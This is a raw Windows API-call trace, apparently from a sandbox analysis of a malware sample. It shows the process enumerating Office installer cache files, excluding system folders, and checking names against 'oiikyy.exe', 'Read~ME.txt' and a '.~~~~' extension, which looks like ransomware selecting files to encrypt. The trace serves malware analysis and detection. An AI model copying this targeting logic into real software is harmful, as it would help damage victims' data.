	[0065.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.500] GetCurrentThreadId () returned 0x618
	[0065.500] GetCurrentThreadId () returned 0x618
	[0065.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a38b0
	[0065.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa700
	[0065.500] RtlWakeConditionVariable () returned 0x365f48
	[0065.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0065.500] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1
	[0065.500] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="Windows") returned -1
	[0065.500] lstrcmpW (lpString1="pkeyconfig-office.xrm-ms", lpString2="oiikyy.exe") returned 1
	[0065.500] StrStrW (lpFirst="pkeyconfig-office.xrm-ms", lpSrch=".~~~~") returned 0x0
	[0065.500] lstrcmpW (lpString1="pkeyconfig-office.xrm-ms", lpString2="Read~ME.txt") returned -1
	[0065.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0065.500] GetCurrentThreadId () returned 0x618
	[0065.500] GetCurrentThreadId () returned 0x618
	[0065.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a38e8
	[0065.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3ac318
	[0065.500] RtlWakeConditionVariable () returned 0x365f48
	[0065.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3158 | out: hHeap=0x300000) returned 1
	[0065.501] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.msi", cAlternateFileName="PROPLU~1.MSI")) returned 1
	[0065.501] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="Windows") returned -1
	[0065.501] lstrcmpW (lpString1="ProPlusrWW.msi", lpString2="oiikyy.exe") returned 1
	[0065.501] StrStrW (lpFirst="ProPlusrWW.msi", lpSrch=".~~~~") returned 0x0
	[0065.501] lstrcmpW (lpString1="ProPlusrWW.msi", lpString2="Read~ME.txt") returned -1
	[0065.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0065.501] GetCurrentThreadId () returned 0x618
	[0065.501] GetCurrentThreadId () returned 0x618
	[0065.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3920
	[0065.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4df0
	[0065.501] RtlWakeConditionVariable () returned 0x365f48
	[0065.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0065.501] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.xml", cAlternateFileName="PROPLU~1.XML")) returned 1
	[0065.501] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="Windows") returned -1
	[0065.501] lstrcmpW (lpString1="ProPlusrWW.xml", lpString2="oiikyy.exe") returned 1
	[0065.501] StrStrW (lpFirst="ProPlusrWW.xml", lpSrch=".~~~~") returned 0x0
	[0065.501] lstrcmpW (lpString1="ProPlusrWW.xml", lpString2="Read~ME.txt") returned -1
	[0065.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0065.501] GetCurrentThreadId () returned 0x618
	[0065.501] GetCurrentThreadId () returned 0x618
	[0065.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3958
	[0065.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4ea8
	[0065.501] RtlWakeConditionVariable () returned 0x365f48
	[0065.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0065.502] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1
	[0065.502] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="Windows") returned -1
	[0065.502] lstrcmpW (lpString1="ProPrWW.cab", lpString2="oiikyy.exe") returned 1
	[0065.502] StrStrW (lpFirst="ProPrWW.cab", lpSrch=".~~~~") returned 0x0
	[0065.502] lstrcmpW (lpString1="ProPrWW.cab", lpString2="Read~ME.txt") returned -1
	[0065.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.502] GetCurrentThreadId () returned 0x618
	[0065.502] GetCurrentThreadId () returned 0x618
	[0065.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3990
	[0065.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa7a8
	[0065.502] RtlWakeConditionVariable () returned 0x365f48
	[0065.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0065.502] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1
	[0065.502] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="Windows") returned -1
	[0065.502] lstrcmpW (lpString1="ProPrWW2.cab", lpString2="oiikyy.exe") returned 1
	[0065.502] StrStrW (lpFirst="ProPrWW2.cab", lpSrch=".~~~~") returned 0x0
	[0065.502] lstrcmpW (lpString1="ProPrWW2.cab", lpString2="Read~ME.txt") returned -1
	[0065.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.502] GetCurrentThreadId () returned 0x618
	[0065.502] GetCurrentThreadId () returned 0x618
	[0065.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a39c8
	[0065.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa850
	[0065.502] RtlWakeConditionVariable () returned 0x365f48
	[0065.503] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0065.503] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1
	[0065.503] lstrcmpiW (lpString1="setup.exe", lpString2="Windows") returned -1
	[0065.503] lstrcmpW (lpString1="setup.exe", lpString2="oiikyy.exe") returned 1
	[0065.503] StrStrW (lpFirst="setup.exe", lpSrch=".~~~~") returned 0x0
	[0065.503] lstrcmpW (lpString1="setup.exe", lpString2="Read~ME.txt") returned 1
	[0065.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.503] GetCurrentThreadId () returned 0x618
	[0065.503] GetCurrentThreadId () returned 0x618
	[0065.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3a00
	[0065.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa8f8
	[0065.503] RtlWakeConditionVariable () returned 0x365f48
	[0065.503] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0065.503] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0065.503] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1
	[0065.503] lstrcmpW (lpString1="Setup.xml", lpString2="oiikyy.exe") returned 1
	[0065.503] StrStrW (lpFirst="Setup.xml", lpSrch=".~~~~") returned 0x0
	[0065.503] lstrcmpW (lpString1="Setup.xml", lpString2="Read~ME.txt") returned 1
	[0065.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.503] GetCurrentThreadId () returned 0x618
	[0065.503] GetCurrentThreadId () returned 0x618
	[0065.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3a38
	[0065.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa9a0
	[0065.504] RtlWakeConditionVariable () returned 0x365f48
	[0065.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0065.504] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
	[0065.504] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0065.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.505] GetCurrentThreadId () returned 0x618
	[0065.505] GetCurrentThreadId () returned 0x618
	[0065.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3a70
	[0065.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaa48
	[0065.505] RtlWakeConditionVariable () returned 0x365f48
	[0065.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0065.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea520 | out: hHeap=0x300000) returned 1
	[0065.505] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~3")) returned 1
	[0065.505] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="Windows") returned -1
	[0065.505] lstrcmpW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2=".") returned 1
	[0065.505] lstrcmpW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="..") returned 1
	[0065.505] lstrcmpW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="AppData") returned -1
	[0065.505] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C", lpSrch="AppData") returned 0x0
	[0065.505] lstrlenW (lpString="C:\\Windows") returned 10
	[0065.505] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="C:\\Windows") returned -1
	[0065.506] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0065.506] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="C:\\System Volume Information") returned -1
	[0065.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3ea520
	[0065.506] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0065.727] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0065.727] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0065.727] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0065.727] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0065.727] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0065.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0065.727] GetCurrentThreadId () returned 0x618
	[0065.727] GetCurrentThreadId () returned 0x618
	[0065.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3aa8
	[0065.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7688
	[0065.728] RtlWakeConditionVariable () returned 0x365f48
	[0065.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7260 | out: hHeap=0x300000) returned 1
	[0065.728] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.728] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0065.728] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0065.728] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0065.728] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0065.728] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0065.728] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0065.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0065.728] GetCurrentThreadId () returned 0x618
	[0065.728] GetCurrentThreadId () returned 0x618
	[0065.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac3f8
	[0065.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7720
	[0065.728] RtlWakeConditionVariable () returned 0x365f48
	[0065.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7260 | out: hHeap=0x300000) returned 1
	[0065.728] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1
	[0065.728] lstrcmpiW (lpString1="Office32WW.msi", lpString2="Windows") returned -1
	[0065.728] lstrcmpW (lpString1="Office32WW.msi", lpString2="oiikyy.exe") returned -1
	[0065.729] StrStrW (lpFirst="Office32WW.msi", lpSrch=".~~~~") returned 0x0
	[0065.729] lstrcmpW (lpString1="Office32WW.msi", lpString2="Read~ME.txt") returned -1
	[0065.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0065.729] GetCurrentThreadId () returned 0x618
	[0065.729] GetCurrentThreadId () returned 0x618
	[0065.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac430
	[0065.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4f60
	[0065.729] RtlWakeConditionVariable () returned 0x365f48
	[0065.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0065.729] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0065.729] lstrcmpiW (lpString1="Office32WW.xml", lpString2="Windows") returned -1
	[0065.729] lstrcmpW (lpString1="Office32WW.xml", lpString2="oiikyy.exe") returned -1
	[0065.729] StrStrW (lpFirst="Office32WW.xml", lpSrch=".~~~~") returned 0x0
	[0065.729] lstrcmpW (lpString1="Office32WW.xml", lpString2="Read~ME.txt") returned -1
	[0065.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0065.729] GetCurrentThreadId () returned 0x618
	[0065.729] GetCurrentThreadId () returned 0x618
	[0065.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac468
	[0065.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0065.729] RtlWakeConditionVariable () returned 0x365f48
	[0065.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0065.729] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1
	[0065.729] lstrcmpiW (lpString1="ose.exe", lpString2="Windows") returned -1
	[0065.729] lstrcmpW (lpString1="ose.exe", lpString2="oiikyy.exe") returned 1
	[0065.730] StrStrW (lpFirst="ose.exe", lpSrch=".~~~~") returned 0x0
	[0065.730] lstrcmpW (lpString1="ose.exe", lpString2="Read~ME.txt") returned -1
	[0065.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.730] GetCurrentThreadId () returned 0x618
	[0065.730] GetCurrentThreadId () returned 0x618
	[0065.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac4a0
	[0065.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaaf0
	[0065.730] RtlWakeConditionVariable () returned 0x365f48
	[0065.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0065.730] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1
	[0065.730] lstrcmpiW (lpString1="osetup.dll", lpString2="Windows") returned -1
	[0065.730] lstrcmpW (lpString1="osetup.dll", lpString2="oiikyy.exe") returned 1
	[0065.730] StrStrW (lpFirst="osetup.dll", lpSrch=".~~~~") returned 0x0
	[0065.730] lstrcmpW (lpString1="osetup.dll", lpString2="Read~ME.txt") returned -1
	[0065.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.730] GetCurrentThreadId () returned 0x618
	[0065.730] GetCurrentThreadId () returned 0x618
	[0065.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac4d8
	[0065.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0065.730] RtlWakeConditionVariable () returned 0x365f48
	[0065.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0065.730] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1
	[0065.731] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="Windows") returned -1
	[0065.731] lstrcmpW (lpString1="OWOW32WW.cab", lpString2="oiikyy.exe") returned 1
	[0065.731] StrStrW (lpFirst="OWOW32WW.cab", lpSrch=".~~~~") returned 0x0
	[0065.731] lstrcmpW (lpString1="OWOW32WW.cab", lpString2="Read~ME.txt") returned -1
	[0065.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.731] GetCurrentThreadId () returned 0x618
	[0065.731] GetCurrentThreadId () returned 0x618
	[0065.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac510
	[0065.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aac40
	[0065.731] RtlWakeConditionVariable () returned 0x365f48
	[0065.731] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0065.731] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1
	[0065.731] lstrcmpiW (lpString1="PidGenX.dll", lpString2="Windows") returned -1
	[0065.731] lstrcmpW (lpString1="PidGenX.dll", lpString2="oiikyy.exe") returned 1
	[0065.731] StrStrW (lpFirst="PidGenX.dll", lpSrch=".~~~~") returned 0x0
	[0065.731] lstrcmpW (lpString1="PidGenX.dll", lpString2="Read~ME.txt") returned -1
	[0065.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.731] GetCurrentThreadId () returned 0x618
	[0065.731] GetCurrentThreadId () returned 0x618
	[0065.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac548
	[0065.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aace8
	[0065.732] RtlWakeConditionVariable () returned 0x365f48
	[0065.732] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0065.732] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1
	[0065.732] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="Windows") returned -1
	[0065.732] lstrcmpW (lpString1="pkeyconfig-office.xrm-ms", lpString2="oiikyy.exe") returned 1
	[0065.732] StrStrW (lpFirst="pkeyconfig-office.xrm-ms", lpSrch=".~~~~") returned 0x0
	[0065.732] lstrcmpW (lpString1="pkeyconfig-office.xrm-ms", lpString2="Read~ME.txt") returned -1
